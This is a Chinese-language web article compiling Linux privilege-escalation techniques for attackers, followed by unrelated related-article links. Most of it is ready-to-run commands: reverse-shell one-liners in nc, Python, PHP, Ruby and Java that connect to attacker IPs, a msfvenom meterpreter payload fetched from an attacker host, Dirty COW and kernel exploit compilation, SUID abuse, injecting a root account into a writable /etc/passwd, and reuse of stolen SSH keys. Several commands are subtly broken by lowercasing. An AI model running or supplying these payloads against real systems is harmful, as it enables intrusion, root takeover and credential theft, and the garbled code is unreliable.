当前位置: 代码网 > 服务器>服务器>Linux > Linux提权技巧全面汇总

Linux提权技巧全面汇总

2024年05月26日 Linux 我要评论
在linux系统中,提权是指获取更高的权限,这通常通过使用特定的命令或工具来完成,在这篇文章中,我们将探讨一些常见的linux提升权限的技巧:常用提权命令,反弹shell,获取完整交互式shell,l

在linux系统中,提权是指获取更高的权限,这通常通过使用特定的命令或工具来完成,在这篇文章中,我们将探讨一些常见的linux提升权限的技巧:常用提权命令,反弹shell,获取完整交互式shell,linux内核漏洞提权,脏牛提权,metasploit linux提权,suid提权,passwd提权,ssh密钥提权

常用命令

uname -a #查看内核/操作系统/cpu信息
hend -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -l #查看防火墙设置
route -n # 查看路由表
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $path #查看系统路径
which nc #查找nc的路径

反弹shell

bash反弹

http://t.csdn.cn/iaitm

nc反弹

nc -e /bin/sh 192.168.10.128 6666

#但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666  >/tmp/f

python反弹

import socket,subprocess,os
s =socket.socket(socket.af_inet,socket.sock_stream)
s.connect(( "192.168.10.128" , 6666 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反弹shell

ruby -rsocket -e'f=tcpsocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

java反弹shell

r = runtime.getruntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as string[])
p.waitfor()

xterm反弹shell

xterm -display 10.0.0.1:1

获取完整交互式shell

su root su:必须从终端中执行

python伪终端

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

linux反弹shell解决乱码

bash #从zsh切换到bash
nc -lvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z  #将伪终端放置后台任务 
stty -echo raw  #设置原始格式
fg %1   #再调用后台任务(输入时无显示)
reset   #初始化

linux内核漏洞提权

利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的exp,使用exp对其进行提权。

uname -a    #查看内核/操作系统/cpu信息
uname -v
cat /proc/version #内核信息
cat /etc/issue    #发行信息
cat /etc/redhat-release #发行信息
lsb_release -a     #显示发行版本信息

linux version 3.19.0-15-generic

ubuntu 15.04 release

根据linux的内核版本查找对应的exp

searchsploit -t ubuntu 15.04 #只利用标题搜索
searchsploit -s ubuntu 15.04 #执行严格搜索,禁止对版本范围进行模糊搜索
searchsploit -s linux kernel 3.19.0
searchsploit -x linux/local/37088.c #检查或打开漏洞
searchsploit -m linux/local/37088.c #将一个漏洞复制到当前的工作目录
wget http://192.168.10.128/37088.c -o /tmp/37088.c
gcc 37088.c -o exp
chmod +x exp
./exp

脏牛提权 cve-2016-5195

该漏洞是 linux 内核的内存子系统在处理写时拷贝(copy-on-write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。

漏洞范围

以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞

centos7 /rhel7    3.10.0-327.36.3.el7
cetnos6/rhel6     2.6.32-642.6.2.el6
ubuntu 16.10         4.8.0-26.28
ubuntu 16.04         4.4.0-45.66
ubuntu 14.04         3.13.0-100.147
debian 8                3.16.36-1+deb8u2
debian 7                3.2.82-1
linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
https://github.com/firefart/dirtycow/blob/master/dirty.c
wget http://192.168.10.128/dirty.c -o /tmp/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 123456
mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd

firefart:fi8rl.us0cfss:0:0:pwned:/root:/bin/bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

su firefart

cat /etc/shadow

metasploit linux提权

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.10.128 lport=12345 -f raw > ./shell.php

file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php'));

msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.10.128
set lport 12345
exploit

//访问shell.php文件时就会获取一个session
shell

提权命令

使用模块查询漏洞

run post/multi/recon/local_exploit_suggester
getuid 查看当前用户
shell 使用终端

https://www.exploit-db.com/exploits/37292
gcc 37292.c -o exp
chmod +x exp
./exp

suid提权

suid是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果root用户给某个可执行文件加了s权限,那么 该执行程序运行的时候将拥有root权限。

chmod 4750 a.txt
4 说明 suid 位被设置

suid是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上suid特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。

ls -al /etc/shadow
-rw-r-----

ls -al /bin/passwd
-rwsr-xr-x

查找suid文件

以下命令可以发现系统上运行的所有suid可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

常见suid提权文件

nmap vim find more less bash cp nano mv awk man wgets

https://gtfobins.github.io/

sudo install -m =xs $(which less) .

./less file_to_read

passwd提权

ls -al /etc/passwd
-rw-rw-rw-- 1 cc cc 2242  7月 13 11:23 /etc/passwd  #这里要求至少有w权限

root:x:0:0:root:/root:/bin/bash

openssl passwd -1 -salt coleak a123  
$1$coleak$rylf7ybufqhmhdrl7czek1
coleak:$1$coleak$rylf7ybufqhmhdrl7czek1:0:0:/root:/bin/bash

wget http://192.168.10.128/a -o /etc/passwd

ssh coleak@192.168.10.157       #su coleak

ssh密钥提权

查看拥有bash的用户

cat /etc/passwd | grep bash
find / -name authorized_keys -type f 2>/dev/null
cd /home/webper/.ssh

.ssh下文件含义

id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。

id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。将主机a的id_rsa.pub内容copy到b主机的authorized_keys文件中,这样a主机就能不通过密码连接到b主机。

authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。

如果目标有使用id_rsa私钥进行登陆,并且我们有权限读取

可以将id_rsa下载或复制下来使用私钥进行登陆

md5sum id_rsa.pub
md5sum authorized_keys
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.10.153
(0)

相关文章:

  • Linux手把手教你实现udp服务器的详细过程

    前言上一篇文章中我们讲到了很多的网络名词以及相关知识,下面我们就直接进入udp服务器的实现。一、udp服务器的实现首先我们需要创建五个文件(文件名可以自己命名也可以和我一样),分别…

    2024年05月26日 服务器
  • Linux服务器磁盘空间清理方法汇总

    Linux服务器磁盘空间清理方法汇总

    一、引言在长时间运行过程中,linux服务器上的磁盘空间可能会被各种文件和目录占用,导致磁盘空间不足。为了确保服务器的稳定性和性能,定期清理磁盘空间是非常必要的... [阅读全文]
  • linux服务器磁盘满了的三种解决方案

    方法一步骤一:遇到磁盘空间不足的报错时候,首先使用df -h查看磁盘空间使用情况,如图/home/zhang目录磁盘空间达到100%。步骤二:进入目录/home/zhang,查找磁…

    2024年05月26日 服务器
  • 在Linux中安装Git的详细流程

    在Linux中安装Git的详细流程

    本文对在ubuntu系统中实现git的下载、安装的方法介绍。首先,我们现在终端中输入如下代码,查看当前电脑中是否已经有了git。git --version运行上... [阅读全文]
  • Linux系统配置静态IP地址的详细步骤

    前言在安装linux后,系统的网络ip地址默认是自动分配的,这将导致每次启动linux系统后,系统的ip地址都会发生改变,这使在开发过程中及其不方便,给系统配置一个固定的ip地址显…

    2024年05月26日 服务器
  • Linux关于Sudo的隐晦bug引发的一次业务问题排查

    写在前面记录一次生产环境sudo启动进程频繁被kill且不报错的异常处理过程,如果遇到同样的问题只想要解决方案,直接跳到处理方案部分即可。问题描述这次记录一个比较特殊的问题,先说一…

    2024年05月26日 服务器

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com